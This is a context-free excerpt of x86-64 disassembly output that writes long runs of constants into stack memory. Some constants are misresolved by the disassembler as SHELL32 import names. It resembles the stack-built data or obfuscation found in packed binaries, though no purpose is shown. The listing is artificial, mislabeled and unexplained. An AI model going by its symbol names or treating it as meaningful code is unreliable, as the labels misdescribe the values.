mov byte [rsp + 0x324], 0xe8
mov byte [rsp + 0x325], 0x1d
mov byte [rsp + 0x326], SHDoDragDrop
mov byte [rsp + 0x327], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x328], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x329], reloc.SHELL32.dll_ILIsEqual
movabs rax, 0x701cc8531dd67d
mov qword [rsp + 0xac08], rax
movabs rax, 0x785b0be82f57e2
mov qword [rsp + 0xac10], rax
mov byte [rsp + 0x32a], 0x47
mov eax, 0x582
mov word [rsp + 0x1968], ax
mov byte [rsp + 0x32b], PathMakeUniqueName
movabs rax, 0x7e5a7566b0492d
mov qword [rsp + 0xac18], rax
mov eax, 0x25d
mov word [rsp + 0x196c], ax
mov byte [rsp + 0x32c], ILSaveToStream
movabs rax, 0x706bfe9d4dd2df
mov qword [rsp + 0xac20], rax
movabs rax, 0x735b4d9ef6d610
mov qword [rsp + 0xac28], rax
mov eax, 0xf63
mov word [rsp + 0x1970], ax
mov dword [rsp + 0x5598], 0x2e4
mov dword [rsp + 0x559c], 0x4e14
movabs rax, 0x7955684cd72488
mov qword [rsp + 0xac30], rax
movabs rax, 0x7a2ff90cf4aec6
mov qword [rsp + 0xac38], rax
mov dword [rsp + 0x55a0], 0x32cf
mov dword [rsp + 0x55a4], 0x38fe
movabs rax, 0x7ef5e2eed288dd
mov qword [rsp + 0xac40], rax
mov eax, 0x2b6
mov word [rsp + 0x1974], ax
mov byte [rsp + 0x32d], PathMakeUniqueName
mov eax, 0x42f
mov word [rsp + 0x1978], ax
mov eax, 0x737
mov word [rsp + 0x197c], ax
mov dword [rsp + 0x55a8], 0x6f87
mov dword [rsp + 0x55ac], 0x61b8
mov eax, 0x3be
mov word [rsp + 0x1980], ax
movabs rax, 0x7a8aab649a0e81
mov qword [rsp + 0xac48], rax
mov eax, 0x2e4
mov word [rsp + 0x1984], ax
mov dword [rsp + 0x55b0], 0xa7ab
movabs rax, 0x77365a3b65da7b
mov qword [rsp + 0xac50], rax
movabs rax, 0x75a494da09f043
mov qword [rsp + 0xac58], rax
mov dword [rsp + 0x55b4], 0x11f9
mov byte [rsp + 0x32e], 0xf7
mov dword [rsp + 0x55b8], 0x7153
mov byte [rsp + 0x32f], 0x4c
mov eax, 0x5fb
mov word [rsp + 0x1988], ax
mov eax, 0x344
mov word [rsp + 0x198c], ax
mov byte [rsp + 0x330], 0x7e
mov byte [rsp + 0x331], 0x26
mov dword [rsp + 0x55bc], 0x4fc8
mov byte [rsp + 0x332], 0x4a
mov dword [rsp + 0x55c0], 0x34ba
mov byte [rsp + 0x333], PathMakeUniqueName
mov dword [rsp + 0x55c4], 0x372a
movabs rax, 0x7d8c3d42e21625
mov qword [rsp + 0xac60], rax
movabs rax, 0x7b4cfdf11c59ea
mov qword [rsp + 0xac68], rax
mov eax, 0x475
mov word [rsp + 0x1990], ax
movabs rax, 0x70430bf5efc845
mov qword [rsp + 0xac70], rax
movabs rax, 0x7d55e33bfbc944
mov qword [rsp + 0xac78], rax
movabs rax, 0x76d944e37d2e54
mov qword [rsp + 0xac80], rax
movabs rax, 0x70c643204fbf39
mov qword [rsp + 0xac88], rax
mov byte [rsp + 0x334], 0xbf
mov eax, 0x83f
mov word [rsp + 0x1994], ax
mov eax, 0x865
mov word [rsp + 0x1998], ax
movabs rax, 0x762ff781b02af2
mov qword [rsp + 0xac90], rax
mov dword [rsp + 0x55c8], 0x1660
mov dword [rsp + 0x55cc], 0xd72f
mov eax, 0xd45
mov word [rsp + 0x199c], ax
movabs rax, 0x73d5c31bc2e98f
mov qword [rsp + 0xac98], rax
movabs rax, 0x77190a1ac1459c
mov qword [rsp + 0xaca0], rax
mov eax, 0x568
mov word [rsp + 0x19a0], ax
movabs rax, 0x7377d679fa9767
mov qword [rsp + 0xaca8], rax
movabs rax, 0x794895ce35025f
mov qword [rsp + 0xacb0], rax
mov byte [rsp + 0x335], 0x35
movabs rax, 0x723e0798af1aa7
mov qword [rsp + 0xacb8], rax
mov byte [rsp + 0x336], 0x50
movabs rax, 0x702c319543c20c
mov qword [rsp + 0xacc0], rax
movabs rax, 0x77d84df678cf32
mov qword [rsp + 0xacc8], rax
mov eax, 0x360
mov word [rsp + 0x19a4], ax
mov eax, 0x556
mov word [rsp + 0x19a8], ax
mov eax, 0xdb
mov word [rsp + 0x19ac], ax
mov dword [rsp + 0x55d0], 0xd482
mov dword [rsp + 0x55d4], 0xb06
mov eax, 0xca
mov word [rsp + 0x19b0], ax
mov byte [rsp + 0x337], SHDoDragDrop
mov eax, 0x804
mov word [rsp + 0x19b4], ax
mov byte [rsp + 0x338], 0x44
mov eax, 0x779
mov word [rsp + 0x19b8], ax
mov eax, 0x109
mov word [rsp + 0x19bc], ax
mov byte [rsp + 0x339], 0x5f
mov eax, 0xb70
mov word [rsp + 0x19c0], ax
movabs rax, 0x7387160c9d343d
mov qword [rsp + 0xacd0], rax
mov eax, 0x410
mov word [rsp + 0x19c4], ax
mov dword [rsp + 0x55d8], 0x5bb
mov dword [rsp + 0x55dc], 0xc063
mov dword [rsp + 0x55e0], 0x52ab
mov eax, 0x7af
mov word [rsp + 0x19c8], ax
mov eax, 0x591
mov word [rsp + 0x19cc], ax
movabs rax, 0x7bc1b0edf53111
mov qword [rsp + 0xacd8], rax
mov byte [rsp + 0x33a], 0x4b
movabs rax, 0x7b37543a8401f0
mov qword [rsp + 0xace0], rax
mov eax, 0x211
mov word [rsp + 0x19d0], ax
movabs rax, 0x7e40dcfcfaa535
mov qword [rsp + 0xace8], rax
movabs rax, 0x705d46f2aee28b
mov qword [rsp + 0xacf0], rax
movabs rax, 0x7c9f3d4540b3b0
mov qword [rsp + 0xacf8], rax
mov eax, 0x2d1
mov word [rsp + 0x19d4], ax
mov eax, 0xa21
mov word [rsp + 0x19d8], ax
mov dword [rsp + 0x55e4], 0x5fd3
mov byte [rsp + 0x33b], 0xe9
movabs rax, 0x7bfe39fad82064
mov qword [rsp + 0xad00], rax
mov eax, 0x268
mov word [rsp + 0x19dc], ax
movabs rax, 0x7ec95286a3e700
mov qword [rsp + 0xad08], rax
mov byte [rsp + 0x33c], 0xd2
mov byte [rsp + 0x33d], 0xc6
movabs rax, 0x78c46ae9a6cd79
mov qword [rsp + 0xad10], rax
mov dword [rsp + 0x55e8], 0x5a7e
mov dword [rsp + 0x55ec], 0x8b59
movabs rax, 0x732d1446e94189
mov qword [rsp + 0xad18], rax
mov eax, 0x76
mov word [rsp + 0x19e0], ax
movabs rax, 0x7d369e724ac17b
mov qword [rsp + 0xad20], rax
mov byte [rsp + 0x33e], ILSaveToStream
mov eax, 0x572
mov word [rsp + 0x19e4], ax
movabs rax, 0x79e9289e9b4ccd
mov qword [rsp + 0xad28], rax
movabs rax, 0x7b1871897ec495
mov qword [rsp + 0xad30], rax
movabs rax, 0x724e15692d4a74
mov qword [rsp + 0xad38], rax
mov byte [rsp + 0x33f], 0x6d
movabs rax, 0x70dddb10967e2e
mov qword [rsp + 0xad40], rax
mov dword [rsp + 0x55f0], 0xb050
mov byte [rsp + 0x340], 0x37
movabs rax, 0x7a4bc29be5d7e3
mov qword [rsp + 0xad48], rax
mov dword [rsp + 0x55f4], 0xad9c
mov eax, 0xa8c
mov word [rsp + 0x19e8], ax
mov eax, 0x5c7
mov word [rsp + 0x19ec], ax
movabs rax, 0x7ef9191ec72ba3
mov qword [rsp + 0xad50], rax
movabs rax, 0x7022777397d8fb
mov qword [rsp + 0xad58], rax
movabs rax, 0x7e8b4f809f6574
mov qword [rsp + 0xad60], rax
mov dword [rsp + 0x55f8], 0x597e
mov byte [rsp + 0x341], 0x5a
mov dword [rsp + 0x55fc], 0x8a67
mov dword [rsp + 0x5600], 0x8a1
mov eax, 0x713
mov word [rsp + 0x19f0], ax
mov byte [rsp + 0x342], 0xdb
movabs rax, 0x71eb7856ec95ad
mov qword [rsp + 0xad68], rax
movabs rax, 0x7777583bc07ef0
mov qword [rsp + 0xad70], rax
movabs rax, 0x784ba5cc72fec7
mov qword [rsp + 0xad78], rax
mov byte [rsp + 0x343], 0x6e
mov byte [rsp + 0x344], 0x59
movabs rax, 0x7ebf45582eff7c
mov qword [rsp + 0xad80], rax
movabs rax, 0x7d66f1240d1756
mov qword [rsp + 0xad88], rax
mov byte [rsp + 0x345], 0x68
mov eax, 0x60f
mov word [rsp + 0x19f4], ax
mov eax, reloc.SHELL32.dll_SHDoDragDrop
mov word [rsp + 0x19f8], ax
mov dword [rsp + 0x5604], 0x1835
mov eax, 0x327
mov word [rsp + 0x19fc], ax
mov dword [rsp + 0x5608], 0x36b3
movabs rax, 0x7a71f7397c8840
mov qword [rsp + 0xad90], rax
movabs rax, 0x7839c6f5067e41
mov qword [rsp + 0xad98], rax
movabs rax, 0x71a3a732427ad0
mov qword [rsp + 0xada0], rax
movabs rax, 0x7a03075e857aa3
mov qword [rsp + 0xada8], rax
movabs rax, 0x7083bd473e3207
mov qword [rsp + 0xadb0], rax
movabs rax, 0x7b9f6e71134ac9
mov qword [rsp + 0xadb8], rax
mov dword [rsp + 0x560c], 0x1f55
movabs rax, 0x7219a122e304bb
mov qword [rsp + 0xadc0], rax
mov eax, 0x18b
mov word [rsp + 0x1a00], ax
mov byte [rsp + 0x346], 0x30
mov dword [rsp + 0x5610], 0x5cc
mov eax, 0x295
mov word [rsp + 0x1a04], ax
mov dword [rsp + 0x5614], 0x4ec3
mov byte [rsp + 0x347], ILIsParent
movabs rax, 0x76ac14a0229f13
mov qword [rsp + 0xadc8], rax
mov dword [rsp + 0x5618], 0xab12
mov dword [rsp + 0x561c], 0x3770
movabs rax, 0x79f9602b00430e
mov qword [rsp + 0xadd0], rax
mov byte [rsp + 0x348], 7
mov dword [rsp + 0x5620], 0x4751
movabs rax, 0x7a18bcaf9ab03e
mov qword [rsp + 0xadd8], rax
mov byte [rsp + 0x349], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x34a], SHSetInstanceExplorer
mov eax, 0x515
mov word [rsp + 0x1a08], ax
mov dword [rsp + 0x5624], 0x5db5
mov dword [rsp + 0x5628], 0x2120
mov eax, 0x368
mov word [rsp + 0x1a0c], ax
mov eax, 0x8ce
mov word [rsp + 0x1a10], ax
movabs rax, 0x7766088ce80e3f
mov qword [rsp + 0xade0], rax
mov dword [rsp + 0x562c], 0x6524
mov byte [rsp + 0x34b], SHDoDragDrop
mov byte [rsp + 0x34c], 0xfa
mov byte [rsp + 0x34d], 0xd3
mov eax, 0x1cd
mov word [rsp + 0x1a14], ax
mov eax, 0x523
mov word [rsp + 0x1a18], ax
mov byte [rsp + 0x34e], 0x8c
mov dword [rsp + 0x5630], 0x3195
mov dword [rsp + 0x5634], 0x6c8f
mov dword [rsp + 0x5638], 0x4d5f
mov dword [rsp + 0x563c], 0x99da
mov dword [rsp + 0x5640], 0x434d
movabs rax, 0x7c062921c2ee51
mov qword [rsp + 0xade8], rax
mov eax, 0x38b
mov word [rsp + 0x1a1c], ax
mov dword [rsp + 0x5644], 0x7cab
movabs rax, 0x7cf8ad737f3325
mov qword [rsp + 0xadf0], rax
mov dword [rsp + 0x5648], 0x2653
mov eax, 0x718
mov word [rsp + 0x1a20], ax
movabs rax, 0x738adce5213960
mov qword [rsp + 0xadf8], rax
movabs rax, 0x731a4b0c7303ec
mov qword [rsp + 0xae00], rax
mov dword [rsp + 0x564c], 0x25de
movabs rax, 0x76947a06434ca1
mov qword [rsp + 0xae08], rax
mov byte [rsp + 0x34f], 0x70
movabs rax, 0x7d842c401c8bb5
mov qword [rsp + 0xae10], rax
movabs rax, 0x715758327dc744
mov qword [rsp + 0xae18], rax
mov eax, 0xb1c
mov word [rsp + 0x1a24], ax
movabs rax, 0x7c225181a2a66f
mov qword [rsp + 0xae20], rax
mov byte [rsp + 0x350], 0x72
mov dword [rsp + 0x5650], 0x3e24
movabs rax, 0x793f911d4b7f26
mov qword [rsp + 0xae28], rax
mov eax, 0x7f2
mov word [rsp + 0x1a28], ax
mov byte [rsp + 0x351], 0xa8
mov eax, 0xa51
mov word [rsp + 0x1a2c], ax
mov byte [rsp + 0x352], 0xcd
mov eax, 0x794
mov word [rsp + 0x1a30], ax
movabs rax, 0x71cd67bd06b878
mov qword [rsp + 0xae30], rax
movabs rax, 0x765f7a4b751e7e
mov qword [rsp + 0xae38], rax
mov byte [rsp + 0x353], 0x7c
movabs rax, 0x722ed60240183d
mov qword [rsp + 0xae40], rax
movabs rax, 0x7de5b57ac0972d
mov qword [rsp + 0xae48], rax
movabs rax, 0x791a88e6cfcde2
mov qword [rsp + 0xae50], rax
mov byte [rsp + 0x354], ILIsParent
mov dword [rsp + 0x5654], 0xb529
mov eax, SHMultiFileProperties
mov word [rsp + 0x1a34], ax
mov eax, 0x671
mov word [rsp + 0x1a38], ax
mov dword [rsp + 0x5658], 0x48a8
movabs rax, 0x7df02bb0a6b385
mov qword [rsp + 0xae58], rax
mov byte [rsp + 0x355], 0xca
mov dword [rsp + 0x565c], 0x412a
mov eax, 0x349
mov word [rsp + 0x1a3c], ax
mov byte [rsp + 0x356], 0xd3
mov byte [rsp + 0x357], PathMakeUniqueName
mov eax, 0x52a
mov word [rsp + 0x1a40], ax
movabs rax, 0x710c16a9d67573
mov qword [rsp + 0xae60], rax
movabs rax, 0x7d7140b2e48800
mov qword [rsp + 0xae68], rax
mov dword [rsp + 0x5660], 0xb2cf
mov byte [rsp + 0x358], 0x76
movabs rax, 0x73e2d33e28b23c
mov qword [rsp + 0xae70], rax
mov eax, 0xf8a
mov word [rsp + 0x1a44], ax
mov dword [rsp + 0x5664], 0xfb95
mov dword [rsp + 0x5668], 0x2ca9
mov dword [rsp + 0x566c], 0x5044
mov eax, 0xc3b
mov word [rsp + 0x1a48], ax
mov dword [rsp + 0x5670], 0xca41
mov eax, 0x69
mov word [rsp + 0x1a4c], ax
movabs rax, 0x76971ae4499085
mov qword [rsp + 0xae78], rax
mov byte [rsp + 0x359], 0x60
mov byte [rsp + 0x35a], 0xe5
movabs rax, 0x72b6e353e698e7
mov qword [rsp + 0xae80], rax
mov eax, 0x584
mov word [rsp + 0x1a50], ax
mov byte [rsp + 0x35b], 0xc8
movabs rax, 0x7c045c32ade95d
mov qword [rsp + 0xae88], rax
mov eax, 0x755
mov word [rsp + 0x1a54], ax
mov eax, 0x3ea
mov word [rsp + 0x1a58], ax
movabs rax, 0x77bfc7ff65cefc
mov qword [rsp + 0xae90], rax
mov byte [rsp + 0x35c], 0xd5
mov byte [rsp + 0x35d], 0xcb
mov byte [rsp + 0x35e], 0x7f
mov dword [rsp + 0x5674], 0xc11
mov eax, 0x60e
mov word [rsp + 0x1a5c], ax
movabs rax, 0x7876cb3080b284
mov qword [rsp + 0xae98], rax
mov byte [rsp + 0x35f], 0x6a
mov byte [rsp + 0x360], 0
movabs rax, 0x799bb25a0966f0
mov qword [rsp + 0xaea0], rax
mov eax, 0x4bb
mov word [rsp + 0x1a60], ax
movabs rax, 0x7beb7e461a4a25
mov qword [rsp + 0xaea8], rax
mov eax, 0x38e
mov word [rsp + 0x1a64], ax
mov byte [rsp + 0x361], 0x72
movabs rax, 0x788f732b7b0a00
mov qword [rsp + 0xaeb0], rax
mov byte [rsp + 0x362], 0x39
movabs rax, 0x7ec0dd16754278
mov qword [rsp + 0xaeb8], rax
mov dword [rsp + 0x5678], 0xeb70
mov eax, 0xfb6
mov word [rsp + 0x1a68], ax
movabs rax, 0x7d62399c4b0624
mov qword [rsp + 0xaec0], rax
mov eax, 0x5d9
mov word [rsp + 0x1a6c], ax
mov byte [rsp + 0x363], SHGetNewLinkInfoW
movabs rax, 0x7a026e14fa9d87
mov qword [rsp + 0xaec8], rax
movabs rax, 0x71d0fc4220c935
mov qword [rsp + 0xaed0], rax
mov dword [rsp + 0x567c], 0x247
movabs rax, 0x763967fc168c61
mov qword [rsp + 0xaed8], rax
movabs rax, 0x73dc5d6c1ce77c
mov qword [rsp + 0xaee0], rax
movabs rax, 0x7682f9273c63cb
mov qword [rsp + 0xaee8], rax
movabs rax, 0x73723ef7bf0dbc
mov qword [rsp + 0xaef0], rax
mov byte [rsp + 0x364], 0x7a
mov eax, 0x6f5
mov word [rsp + 0x1a70], ax
mov dword [rsp + 0x5680], 0x1baa
mov eax, 0x6f9
mov word [rsp + 0x1a74], ax
mov eax, 0x8da
mov word [rsp + 0x1a78], ax
movabs rax, 0x7a1b0e9be55d47
mov qword [rsp + 0xaef8], rax
movabs rax, 0x7c55e9f0968e16
mov qword [rsp + 0xaf00], rax
mov dword [rsp + 0x5684], 0x6d84
movabs rax, 0x7bc4023a323c47
mov qword [rsp + 0xaf08], rax
mov dword [rsp + 0x5688], 0x6a81
mov eax, 0x18a
mov word [rsp + 0x1a7c], ax
mov dword [rsp + 0x568c], 0xfca7
movabs rax, 0x7bd2fb803cc492
mov qword [rsp + 0xaf10], rax
mov byte [rsp + 0x365], PathMakeUniqueName
mov byte [rsp + 0x366], 0x36
mov byte [rsp + 0x367], 0xb5
mov eax, 0x227
mov word [rsp + 0x1a80], ax
mov dword [rsp + 0x5690], 0x113c
mov dword [rsp + 0x5694], 0xd52c
mov eax, 0x191
mov word [rsp + 0x1a84], ax
mov byte [rsp + 0x368], 0x24
mov byte [rsp + 0x369], 0x66
mov dword [rsp + 0x5698], 0x50dd
mov byte [rsp + 0x36a], 0xe6
mov byte [rsp + 0x36b], 0x41
mov eax, 0x517
mov word [rsp + 0x1a88], ax
mov byte [rsp + 0x36c], 0x34
mov dword [rsp + 0x569c], 0x362f
mov dword [rsp + 0x56a0], 0x1746
mov eax, 0x604
mov word [rsp + 0x1a8c], ax
movabs rax, 0x77fa7e28488007
mov qword [rsp + 0xaf18], rax
mov eax, 0xb5
mov word [rsp + 0x1a90], ax
movabs rax, 0x7a84cea6493730
mov qword [rsp + 0xaf20], rax
mov dword [rsp + 0x56a4], 0x93cc
mov byte [rsp + 0x36d], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x113
mov word [rsp + 0x1a94], ax
mov eax, 0x2c4
mov word [rsp + 0x1a98], ax
mov dword [rsp + 0x56a8], 0x7d12
movabs rax, 0x76c784188a8973
mov qword [rsp + 0xaf28], rax
mov dword [rsp + 0x56ac], 0x6035
mov byte [rsp + 0x36e], 1
mov eax, 0xf04
mov word [rsp + 0x1a9c], ax
mov eax, 0x3c
mov word [rsp + 0x1aa0], ax
mov eax, 0x6f5
mov word [rsp + 0x1aa4], ax
movabs rax, 0x7e5b01886c61af
mov qword [rsp + 0xaf30], rax
mov byte [rsp + 0x36f], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov eax, 0x230
mov word [rsp + 0x1aa8], ax
mov eax, 0xa99
mov word [rsp + 0x1aac], ax
mov eax, 0x9d3
mov word [rsp + 0x1ab0], ax
mov dword [rsp + 0x56b0], 0x8b0e
mov eax, 0x404
mov word [rsp + 0x1ab4], ax
movabs rax, 0x79956280a01e6a
mov qword [rsp + 0xaf38], rax
mov byte [rsp + 0x370], 0x69
mov byte [rsp + 0x371], 0x85
mov eax, 0xddc
mov word [rsp + 0x1ab8], ax
mov eax, 0x4ba
mov word [rsp + 0x1abc], ax
movabs rax, 0x7dd311a15d172a
mov qword [rsp + 0xaf40], rax
mov byte [rsp + 0x372], PathMakeUniqueName
mov eax, 0x758
mov word [rsp + 0x1ac0], ax
mov dword [rsp + 0x56b4], 0xd024
mov byte [rsp + 0x373], PathMakeUniqueName
mov eax, 0x4ab
mov word [rsp + 0x1ac4], ax
mov dword [rsp + 0x56b8], 0x2fad
mov dword [rsp + 0x56bc], 0x1ed3
movabs rax, 0x7a952043159ffc
mov qword [rsp + 0xaf48], rax
mov eax, 0xe5
mov word [rsp + 0x1ac8], ax
mov dword [rsp + 0x56c0], 0xdb9b
mov dword [rsp + 0x56c4], 0x86b0
mov dword [rsp + 0x56c8], 0x993
mov dword [rsp + 0x56cc], 0x53ca
mov dword [rsp + 0x56d0], 0x7c4b
mov dword [rsp + 0x56d4], 0xec3
movabs rax, 0x734874f9d8d85b
mov qword [rsp + 0xaf50], rax
movabs rax, 0x73f0d795162255
mov qword [rsp + 0xaf58], rax
mov dword [rsp + 0x56d8], 0x47e9
movabs rax, 0x7eb9350e78ebf4
mov qword [rsp + 0xaf60], rax
mov eax, 0xe3f
mov word [rsp + 0x1acc], ax
mov byte [rsp + 0x374], 0x8e
mov eax, reloc.SHELL32.dll_ILClone
mov word [rsp + 0x1ad0], ax
mov byte [rsp + 0x375], 0xc1
mov eax, 0x1f8
mov word [rsp + 0x1ad4], ax
movabs rax, 0x74ab3207531564
mov qword [rsp + 0xaf68], rax
mov byte [rsp + 0x376], 8
movabs rax, 0x7ac1da7c7b7afd
mov qword [rsp + 0xaf70], rax
movabs rax, 0x759c0dd3e4407f
mov qword [rsp + 0xaf78], rax
movabs rax, 0x7bd29c7130d062
mov qword [rsp + 0xaf80], rax
mov byte [rsp + 0x377], 0x60
movabs rax, 0x7dedddb3553daa
mov qword [rsp + 0xaf88], rax
mov eax, 0xdf5
mov word [rsp + 0x1ad8], ax
mov dword [rsp + 0x56dc], 0xa961
movabs rax, 0x78657be38d5d43
mov qword [rsp + 0xaf90], rax
mov byte [rsp + 0x378], 0xa1
mov byte [rsp + 0x379], reloc.SHELL32.dll_ILFindChild
mov eax, 0x67
mov word [rsp + 0x1adc], ax
mov byte [rsp + 0x37a], ILAppendID
mov eax, 0x5e5
mov word [rsp + 0x1ae0], ax
mov dword [rsp + 0x56e0], 0xa7de
mov dword [rsp + 0x56e4], 0x13f4
mov dword [rsp + 0x56e8], 0x1ae1
mov byte [rsp + 0x37b], 0x8a
mov dword [rsp + 0x56ec], 0x63ec
movabs rax, 0x7368481160795d
mov qword [rsp + 0xaf98], rax
mov dword [rsp + 0x56f0], 0x424e
movabs rax, 0x7e7ed03e76c710
mov qword [rsp + 0xafa0], rax
mov dword [rsp + 0x56f4], 0xfe35
mov byte [rsp + 0x37c], 0x92
mov byte [rsp + 0x37d], 9
mov dword [rsp + 0x56f8], 0xb46
mov eax, 0x8f7
mov word [rsp + 0x1ae4], ax
mov byte [rsp + 0x37e], PathMakeUniqueName
movabs rax, 0x71e32c4f5b38ee
mov qword [rsp + 0xafa8], rax
mov eax, 0xa24
mov word [rsp + 0x1ae8], ax
mov dword [rsp + 0x56fc], 0x1e50
movabs rax, 0x703eed04fc61cd
mov qword [rsp + 0xafb0], rax
mov dword [rsp + 0x5700], 0x5a56
movabs rax, 0x7bc9fdcc57881b
mov qword [rsp + 0xafb8], rax
mov dword [rsp + 0x5704], 0x1b8a
mov byte [rsp + 0x37f], 0x26
mov eax, 0x338
mov word [rsp + 0x1aec], ax
mov dword [rsp + 0x5708], 0x78a4
mov eax, 0x15c
mov word [rsp + 0x1af0], ax
mov byte [rsp + 0x380], 0x5b
movabs rax, 0x7a61b8f86425cf
mov qword [rsp + 0xafc0], rax
movabs rax, 0x7bbbef820d23e2
mov qword [rsp + 0xafc8], rax
mov dword [rsp + 0x570c], 0x32e6
mov dword [rsp + 0x5710], 0xf6f5
mov byte [rsp + 0x381], 0x68
mov eax, 0x4ff
mov word [rsp + 0x1af4], ax
mov eax, 0x983
mov word [rsp + 0x1af8], ax
movabs rax, 0x7034bb74631702
mov qword [rsp + 0xafd0], rax
mov dword [rsp + 0x5714], 0x30e1
movabs rax, 0x7cdda8ac75e7a7
mov qword [rsp + 0xafd8], rax
movabs rax, 0x7a61852ec6a335
mov qword [rsp + 0xafe0], rax
movabs rax, 0x74c702d175a80d
mov qword [rsp + 0xafe8], rax
mov eax, 0x75d
mov word [rsp + 0x1afc], ax
movabs rax, 0x7630902950a724
mov qword [rsp + 0xaff0], rax
mov byte [rsp + 0x382], 5
mov dword [rsp + 0x5718], 0xa41
mov byte [rsp + 0x383], SHTestTokenMembership
mov byte [rsp + 0x384], 4
movabs rax, 0x7bcc4da85f32bb
mov qword [rsp + 0xaff8], rax
mov dword [rsp + 0x571c], 0x5a67
mov eax, 0x51a
mov word [rsp + 0x1b00], ax
mov dword [rsp + 0x5720], 0x3949
mov eax, 0x336
mov word [rsp + 0x1b04], ax
mov dword [rsp + 0x5724], 0x4c3f
mov dword [rsp + 0x5728], 0xc6c4
mov byte [rsp + 0x385], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0x386], 0x4b
movabs rax, 0x7a422ca0892482
mov qword [rsp + 0xb000], rax
mov eax, 0x671
mov word [rsp + 0x1b08], ax
mov eax, 0x1cc
mov word [rsp + 0x1b0c], ax
mov eax, 0x5b0
mov word [rsp + 0x1b10], ax
mov dword [rsp + 0x572c], 0x3297
mov dword [rsp + 0x5730], 0xb6aa
mov eax, 0x6c4
mov word [rsp + 0x1b14], ax
mov byte [rsp + 0x387], 0x50
movabs rax, 0x761882a2c271fd
mov qword [rsp + 0xb008], rax
mov byte [rsp + 0x388], SHDoDragDrop
mov dword [rsp + 0x5734], 0x4ccd
movabs rax, 0x7a947006f06297
mov qword [rsp + 0xb010], rax
movabs rax, 0x7113e710cb5239
mov qword [rsp + 0xb018], rax
mov dword [rsp + 0x5738], 0x6d99
movabs rax, 0x71d01058a3a806
mov qword [rsp + 0xb020], rax
mov byte [rsp + 0x389], reloc.SHELL32.dll_SHSetInstanceExplorer
mov eax, 0x374
mov word [rsp + 0x1b18], ax
movabs rax, 0x7bd05be0c23f9c
mov qword [rsp + 0xb028], rax
mov byte [rsp + 0x38a], 0xc7
movabs rax, 0x761412acba9b26
mov qword [rsp + 0xb030], rax
movabs rax, 0x79ffcb921598fa
mov qword [rsp + 0xb038], rax
mov byte [rsp + 0x38b], 0x3b
movabs rax, 0x7aa0a5dd5d4dc5
mov qword [rsp + 0xb040], rax
mov eax, 0x903
mov word [rsp + 0x1b1c], ax
mov eax, 0x391
mov word [rsp + 0x1b20], ax
movabs rax, 0x743d479ec8d093
mov qword [rsp + 0xb048], rax
movabs rax, 0x72a2f2fa33e76a
mov qword [rsp + 0xb050], rax
mov byte [rsp + 0x38c], SHDoDragDrop
mov byte [rsp + 0x38d], 0x4f
mov eax, 0x1db
mov word [rsp + 0x1b24], ax
movabs rax, 0x7065cea248ec74
mov qword [rsp + 0xb058], rax
mov dword [rsp + 0x573c], 0x2adc
mov dword [rsp + 0x5740], 0x419b
movabs rax, 0x7217c1aa74b2bf
mov qword [rsp + 0xb060], rax
movabs rax, 0x71e801bfda67b2
mov qword [rsp + 0xb068], rax
movabs rax, 0x731ce9a9a92f36
mov qword [rsp + 0xb070], rax
movabs rax, 0x721331ba5d1e26
mov qword [rsp + 0xb078], rax
mov eax, 0x7fb
mov word [rsp + 0x1b28], ax
movabs rax, 0x780c20d05bd9b7
mov qword [rsp + 0xb080], rax
mov eax, 0x721
mov word [rsp + 0x1b2c], ax
mov byte [rsp + 0x38e], 0x3e
movabs rax, 0x7b76e3424ebeb4
mov qword [rsp + 0xb088], rax
mov dword [rsp + 0x5744], 0x6496
mov byte [rsp + 0x38f], 0x75
movabs rax, 0x7cb78104d64ffa
mov qword [rsp + 0xb090], rax
movabs rax, 0x7af53b4baf8642
mov qword [rsp + 0xb098], rax
mov dword [rsp + 0x5748], 0xfe4a
movabs rax, 0x7c8cb82b6108eb
mov qword [rsp + 0xb0a0], rax
mov eax, 0x4d5
mov word [rsp + 0x1b30], ax
movabs rax, 0x75edfb47c0c6bd
mov qword [rsp + 0xb0a8], rax
movabs rax, 0x7d8c8960b3971d
mov qword [rsp + 0xb0b0], rax
movabs rax, 0x724b881fa3b0b3
mov qword [rsp + 0xb0b8], rax
mov dword [rsp + 0x574c], 0xe058
mov eax, 0x49
mov word [rsp + 0x1b34], ax
movabs rax, 0x7235763b930aff
mov qword [rsp + 0xb0c0], rax
mov byte [rsp + 0x390], 0x64
mov eax, 0x924
mov word [rsp + 0x1b38], ax
mov byte [rsp + 0x391], ILSaveToStream
mov byte [rsp + 0x392], 0x24
mov dword [rsp + 0x5750], 0x203a
mov dword [rsp + 0x5754], 0xe97
mov eax, 0xe50
mov word [rsp + 0x1b3c], ax
mov eax, 0x435
mov word [rsp + 0x1b40], ax
mov dword [rsp + 0x5758], 0x5d94
mov eax, reloc.SHELL32.dll_ILSaveToStream
mov word [rsp + 0x1b44], ax
movabs rax, 0x74d18661fd67b3
mov qword [rsp + 0xb0c8], rax
movabs rax, 0x73007a7f3f41d9
mov qword [rsp + 0xb0d0], rax
movabs rax, 0x7353d8fee7bc29
mov qword [rsp + 0xb0d8], rax
mov dword [rsp + 0x575c], 0xf0e3
mov dword [rsp + 0x5760], 0x64e2
mov eax, 0x3b1
mov word [rsp + 0x1b48], ax
mov eax, 0x6fb
mov word [rsp + 0x1b4c], ax
mov eax, 0xf0e
mov word [rsp + 0x1b50], ax
mov byte [rsp + 0x393], 0x45
mov eax, 0xd55
mov word [rsp + 0x1b54], ax
mov dword [rsp + 0x5764], 0xcc42
movabs rax, 0x70e06d3b8ef7e6
mov qword [rsp + 0xb0e0], rax
mov dword [rsp + 0x5768], 0xfb3b
mov dword [rsp + 0x576c], 0xc12b
mov dword [rsp + 0x5770], 0x1b61
mov dword [rsp + 0x5774], 0x7e23
movabs rax, 0x73ca59a11fbdbf
mov qword [rsp + 0xb0e8], rax
mov byte [rsp + 0x394], 0xf9
mov eax, 0x9e7
mov word [rsp + 0x1b58], ax
mov dword [rsp + 0x5778], 0xb37c
mov dword [rsp + 0x577c], 0x73ea
mov eax, 0xf55
mov word [rsp + 0x1b5c], ax
mov dword [rsp + 0x5780], 0x446b
mov dword [rsp + 0x5784], 0x491d
movabs rax, 0x78f19d3be17146
mov qword [rsp + 0xb0f0], rax
mov byte [rsp + 0x395], 0x90
mov byte [rsp + 0x396], 0x39
mov eax, 0x743
mov word [rsp + 0x1b60], ax
mov dword [rsp + 0x5788], 0x7915
